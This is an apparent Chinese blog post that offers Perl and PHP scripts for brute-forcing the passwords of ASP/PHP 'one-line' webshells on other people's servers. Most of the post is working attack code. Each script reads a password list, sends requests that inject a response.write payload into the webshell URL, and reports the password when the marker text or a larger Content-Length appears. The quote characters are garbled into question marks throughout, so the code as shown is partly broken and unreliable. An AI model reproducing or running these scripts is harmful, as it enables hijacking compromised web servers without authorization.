一句话木马破解很黄很暴力哦

ASP&PHP一句话木马密码破解的破解脚本,很黄很暴力.

#/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
print ?=========================\n?;
print ?\n?;
print ?crack.pl Url\n?;
print ?\n?;
print ?crack.pl http://www.t00ls.in/1.asp\n?;
print ?\n?;
print ?Made By Cond0r QQ 84588307\n?;
print ?\n?;
print ?=========================\n?;
print ?\n?;
print ?Url Is :?;
$ul=<STDIN>;
chomp $ul;

open PASS,?pass.txt?;
$a=0;
foreach $pass (<PASS>)
{
@pass[$a]=$pass;

$a++;
$ua = new LWP::UserAgent;
$text=?\?QQ84588307\?";
$url=$ul.???.$pass.?=response.write(?.$text.?)?;

$req=new HTTP::Request(?GET?,$url);
print $rep;
$respond = $ua->request($req)->as_string;
print   ?The Pass Is:?.$pass  if($respond =~ /QQ84588307/);

}

破解PHP一句话密码 PHP版

<?php
/*
* Created on 2010-11-4
*/
set_time_limit(0);
$url = $_GET['url'];
$passfile = $_GET['upfile'];
$keyword = ?xxoo?;                      //关键字,改不改一样,因为判断的不是内容,而是http返回的内容长度

$c_l = get_headers($url,1);             //获得正常http头的内容长度
$normal_c_l = $c_l['Content-Length'];

if($url && $passfile && $keyword) {
$fp = fopen($passfile,r);
while(!feof($fp)) {
$pass = trim(fgets($fp));
$all_url=$url.???.$pass.?=response.write(?.???.$keyword.??)?;
$head_msg = get_headers($all_url,1);
if($head_msg['Content-Length'] >$normal_c_l) {      //内容长度大于正常的就是keyword写入了,密码就出来咯
echo ?<font color=red>破解成功,密码是:$pass</font>?;
exit();
}

}
fclose($fp);
}

?>
<html>
<head>
<title>asp一句话暴力破解</title>
</head>
<body>
<form action=? method=?get?>
<table>
<tr>
<td>一句话地址:</td>
<td><input type=?text? name=?url? value=?http://127.0.0.1:81/2.asp? /></td>
</tr>
<tr>
<td>密码文件:</td>
<td><input name=?upfile? type=?file?></td>
</tr>
</table>
<input type=?submit? name=?submit? value=?提交?/>
</form>
<p>说明:不是用获取页面内容,再判断关键字的方法。那样在一个大量数据的网页可能会很慢。</p>
<p>这里用的是判断http头的Content-Length的方法,如果密码匹配成功,则response.write就会成功,页面内容就比原来多了</p>
<p>思路就是这样!</p>
<p>php不能多线程,速度大概是1000个密码15-20秒</p>
<body>
</html>

你可能感兴趣的:(request,密码破解,暴力)